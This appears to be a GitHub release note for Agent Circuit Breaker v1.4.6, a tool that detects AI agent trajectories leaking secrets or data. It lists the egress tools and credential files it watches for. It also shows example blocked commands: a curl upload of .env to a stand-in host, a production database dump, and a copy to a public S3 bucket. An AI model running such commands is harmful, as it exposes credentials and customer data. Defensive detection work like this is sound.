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v1.4.6 - Broader Secret And Data Egress Flows

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@sagarchhatrala sagarchhatrala released this 21 Jul 12:33

v1.4.6 - Broader Secret And Data Egress Flows

Agent Circuit Breaker v1.4.6 broadens deterministic trajectory checks for secret and data egress.

Highlights

  • Added traj_secret_in_egress_action for one action that references secret-like material and an external egress channel.
  • Added traj_data_export_then_egress for database/archive/data exports followed by upload, post, publish, or network send actions.
  • Expanded egress channel coverage for rclone, netcat-style sends, Azure/GCP storage uploads, GitHub gists, HTTPie-style commands, webhooks, and paste-style uploads.
  • Expanded sensitive-reference coverage for .npmrc, .pypirc, kubeconfig, private keys, credential files, and common token/API-key names.

Examples

circuit-breaker trajectory ./agent-run.json --format json

Examples of newly blocked trajectory shapes:

curl https://example.com/upload --data-binary @.env
pg_dump prod > customer-data.sql
aws s3 cp customer-data.sql s3://public-bucket/customer-data.sql

Compatibility

Default single-action check behavior is unchanged. These detections apply to trajectory mode and MCP stateful trajectory mode.

Verification

  • direct secret egress regression
  • data export then cloud upload regression
  • false-positive regression for data export without later egress
  • MCP stateful trajectory regression
  • full unit test suite